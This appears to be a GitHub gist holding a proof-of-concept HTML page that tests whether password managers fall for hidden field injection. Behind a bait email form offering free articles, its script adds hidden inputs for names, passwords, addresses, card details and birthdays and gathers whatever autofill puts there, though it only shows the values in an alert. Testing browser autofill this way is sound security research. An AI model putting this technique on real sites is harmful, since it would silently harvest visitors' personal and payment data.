Created
January 13, 2017 14:37
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Test to see if password managers are hidden field injection proof
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<html> | |
<head> | |
</head> | |
<body> | |
<form id="form" action="/" method="post"> | |
<div class="inputarea"> | |
<h1>Leave your email to obtain 5 free articles</h1> | |
<label for="email">Email</label> | |
<input type="email" name="email" id="email" placeholder="name@example.com" required autocomplete="email" class="input" /> | |
<p><input type="submit" id="submit" class="button" value="Send!"></p> | |
</div> | |
</form> | |
<script> | |
// from https://gist.githubusercontent.com/haampie/3ba6ebb5fd9f71d2f8e9fb841e52740d/raw/d2278671539ab5987a184603b0b3dd9942ba66e0/inject.js | |
var autocompletes = ['name', 'honorific-prefix', 'given-name', | |
'additional-name', 'family-name', 'honorific-suffix', | |
'nickname', 'username', 'new-password', | |
'current-password', 'organization-title', 'organization', | |
'street-address', 'address-line1', 'address-line2', | |
'address-line3', 'address-level4', 'address-level3', | |
'address-level2', 'address-level1', 'country', | |
'country-name', 'postal-code', 'cc-name', 'cc-given-name', | |
'cc-additional-name', 'cc-family-name', 'cc-exp', | |
'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type', | |
'transaction-currency', 'transaction-amount', | |
'language', 'bday', 'bday-day', 'bday-month', | |
'bday-year', 'sex', 'url', 'photo', 'tel', | |
'tel-country-code', 'tel-national', | |
'tel-area-code', 'tel-local', 'tel-local-prefix', | |
'tel-local-suffix', 'tel-extension', 'impp' | |
]; | |
var emailField = document.getElementById('email'); | |
emailField.addEventListener('focus', function() { | |
var wrap = autocompletes.reduce(function(wrapper, field) { | |
var input = document.createElement('input'); | |
// Make them not focussable | |
input.tabIndex = -1; | |
input.autocomplete = field; | |
wrapper.appendChild(input); | |
return wrapper; | |
}, document.createElement('div')); | |
// Hide the wrapper | |
wrap.classList.add('hidden'); | |
wrap.style.display = 'none'; | |
form.appendChild(wrap); | |
// Inject the autocompletes once | |
this.removeEventListener('focus', arguments.callee); | |
}); | |
var form = document.getElementById('form'); | |
form.addEventListener('submit', function() { | |
var formValues = []; | |
for (var i = 0; i < form.elements.length - 1; i++) { | |
var e = form.elements[i]; | |
if (e.value !== '') { | |
formValues.push(e.name + ': ' + e.value); | |
} | |
} | |
alert(formValues.join(',')); | |
return false; | |
}); | |
</script> | |
</body> | |
</html> |
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